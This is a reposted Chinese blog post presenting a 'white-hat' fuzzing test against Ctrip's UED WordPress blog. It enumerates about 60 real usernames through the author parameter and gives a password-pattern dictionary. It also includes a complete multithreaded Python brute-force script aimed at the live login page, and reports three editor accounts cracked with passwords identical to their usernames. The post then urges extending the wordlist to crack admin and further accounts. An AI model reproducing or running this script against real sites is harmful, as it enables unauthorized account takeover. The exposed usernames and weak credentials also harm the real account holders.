0X00
之前也研究过一些系统的漏洞,exp的编写问题,这里面有用到fuzz技术,那是刚接触,感觉fuzz很神奇,可以知道挖掘漏洞,好强大。
引用杨凡的话:在我的理解中,fuzz模糊测试技术就是通过提交预设的不同类型的参数值给程序,看程序的反应如何,最终发现BUG/安全隐患并进行修复。
《模糊测试》这本书主要介绍的是主要操作系统和主要应用的fuzz测试方法和技巧,关于web安全的fuzzing好像很少,不过这里面的fuzz的技术和技巧可以借鉴到web漏洞的挖掘中吧。
0X01
最近一朋友被携程旅行网挖过去了,回家逛了一下携程网,顺便测试了下。
本次测试,将通过携程旅行网的自身业务逻辑,结合Fuzzing,漏洞自动化挖掘,对携程旅行网进行的一次白帽测试。
其实此次测试,可以说是Fuzzing,也可以说是暴力破解,但是关键在于前期信息收集,规则整理,最后进行fuzz测试,这样的成功效率比暴力破解要高很多。
而且通过收集的信息,进一步组合利用,fuzz成功的效率可到%80——%90,效率是极高的。
0X02
此测试时针对wordpress的,大家都知道Wordpress在核心代码安全系数很高,而在逻辑设计上,却有很多问题。
遍历用户名:
http://ued.ctrip.com/blog/?author=1
http://ued.ctrip.com/blog/?author=55
通过如上链接,你只需要不停的更换author的id,就能遍历出整个Wordpress数据库内用户的username。
本次测试过程中,获取到携程旅行网http://ued.ctrip.com/blog/的用户名如下:
1==>用户名:admin 2==>用户名:Lucky 3==>用户名:阿瞬 4==>用户名:GreatHan 5==>用户名:nnMA 6==>用户名:Neao 7==>用户名:小飞猪 8==>用户名:祝 9==>用户名:子子 10==>用户名:m 11==>用户名:Slli 12==>用户名:小灰灰 13==>用户名:≮流光恋羽≯ 14==>用户名:PhoDynamite 15==>用户名:匪徒田老大 16==>用户名:nyanhan 17==>用户名:Paul 18==>用户名:蓝带鱼 19==>用户名:boston 20==>用户名:liuff 21==>用户名:雄关漫道真如铁 22==>用户名:jenny_zhuzhu 23==>用户名:xujia 24==>用户名:ycao 26==>用户名:e面包 27==>用户名:点头猪 28==>用户名:wayos 29==>用户名:lexrus 30==>用户名:Summer 32==>用户名:布衣ui 34==>用户名:浩子 35==>用户名:linxz 36==>用户名:henry 37==>用户名:liuh 38==>用户名:wt 39==>用户名:chxu 40==>用户名:linpan 41==>用户名:songchen 42==>用户名:decques 43==>用户名:weixj 44==>用户名:S++ 45==>用户名:labuladuo6 46==>用户名:heiwang 47==>用户名:苏昊 48==>用户名:火柴 49==>用户名:dewnerxu 50==>用户名:ScectVonVor 51==>用户名:CoigreeIrrict 52==>用户名:heisizipronee 53==>用户名:test 54==>用户名:hfliu 55==>用户名:豚豚 56==>用户名:hualv 57==>用户名:pencilstub 58==>用户名:neper 59==>用户名:密封罐头 60==>用户名:DLive 61==>用户名:Dailey 62==>用户名:xiaoda 63==>用户名:lqzhang 64==>用户名:Harry 65==>用户名:LYuShine_宇轩
0X03
存在缺陷的登录设计:
无验证码、无错误密码登录次数限制,更操蛋的是,你输入一个不存在的用户名,它还会告诉你是否存在,输入正确的用户名,错误密码,会提示用户的密码错误,无语……
http://ued.ctrip.com/blog/wp-login.php
既然知道了用户名,而且登录接口毫无阻挡,那就开启fuzzing了,测试开始。
这里我们的密码字典规则如下:
%username% = 用户名 %domain% = 公司域名 %username%%domain% %username%1 %username%12 %username%123 %username%1234 %username%12345 %username%123456 %username%@123 %username%@123.com %username%@163 %username%@163.com %username%163 %username%8 %username%88 %username%888 %username%999 %username%666 %username%2008 %username%2009 %username%2010 %username%2011 %username%2012 %username%2013 %username%@2008 %username%@2009 %username%@2010 %username%@2011 %username%@2012 %username%@2013 %username%!@#
0X04
对于Fuzzing的工具很多,这里自己用python写了一个,方便测试,密码字典小速度还不错。
#-*- coding:utf-8-*- import urllib,urllib2,cookielib,urlparse import re import threading from time import ctime import time class MyThread(threading.Thread): def __init__(self, func, args, name = ''): threading.Thread.__init__(self) self.name = name self.func = func self.args = args def run(self): apply(self.func, self.args) def get_usernamelist(url,author_id): try: #url_parse = urlparse.urlparse(url) #domain = url_parse.scheme+"://"+url_parse.netloc url = url+"?author=%s"%author_id #print url req = urllib2.Request(url) res = urllib2.urlopen( req ) statue = res.code if statue == 404: return if statue == 200: html = res.read() if re.search(r'<title>(.*?)\s.*?</title>',html): author = re.search('<title>(.*?)\s.*?</title>',html).group(1) #print "%s==>用户名:" % author_id + author return author if statue == 301: if res.headers.has_key("location"): location = res.headers["location"] if re.search(r'/author/(.*?)/',location): author = re.search(r'/author/(.*?)/',location).group(1) #print "%s==>用户名:" % author_id + author + "\n" return author except: pass def get_passwordlist(username): passwordlist = [] fuzz_list = ['ued','ctrip','uedctrip','','1','12','123','1234','12345','123456','!@#','@123','@123.com','163','@163','@163.com','8','88','888','999','666','2008','2009','2010','2011','2012','2013','@2008','@2009','@2010','@2011','@2012','@2013'] for i in fuzz_list: passwordlist.append(username+i) return passwordlist def fuzz_password(url,username,password): try: post_data = {"log":username,"pwd":password,"wp-submit":"%E7%99%BB%E5%BD%95","redirect_to":url+"wp-admin%2F","testcookie":"1"} url = url+"wp-login.php" cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [('Cookie','wordpress_test_cookie=WP+Cookie+check')] urllib2.install_opener(opener) post_data = urllib.urlencode(post_data) req = urllib2.Request(url) res = urllib2.urlopen(req,post_data) html = res.read() #print html if re.search(r'<div id="login_error">',html): #print "%s<==>%s, is False ..."%(username,password) return else: print "%s<==>%s, is True ..."%(username,password) return except: print "%s<==>%s, may True ..."%(username,password) return def main(url,i): usernamelist = [] author = get_usernamelist(url,i) if author != "": passwordlist = get_passwordlist(author) for password in passwordlist: fuzz_password(url,author,password) if __name__ == '__main__': print '\n*** Multiple Threads ***\n' url = "http://ued.ctrip.com/blog/" print "The Target Is: "+url+"\n" threads = [] for i in range(1,66): t = MyThread(main, (url,i), main.__name__) threads.append(t) if len(threads) != 0: for i in range(1,16): threads[i].start() for i in range(1,16): threads[i].join() print '\n*** All Done ***\n'
结合上面收集的用户名,加上我们的规则,加上弱口令,很快就出来几个……
*** Multiple Threads *** The Target Is: http://ued.ctrip.com/blog/ Slli<==>Slli, may True ... PhoDyamite<==>PhoDynamite, may True ... nnMA<==>nnMA, may True ... *** All Done ***
可惜的是,这几个用户都是editor用户,没有跑出来admin。
当然这里的fuzz_list 可以添加你自己的密码字典去跑admin的密码咯。
0X05
我们来登陆以下看看:
剩下的就是我们可以通过这个入口,收集更多的资料,继续构造字典规则,添加密码字典,进行进一步fuzz,得到更多的业务账号,发现更多的漏洞咯。
转自:http://www.f4ck.org/article-1658-1.html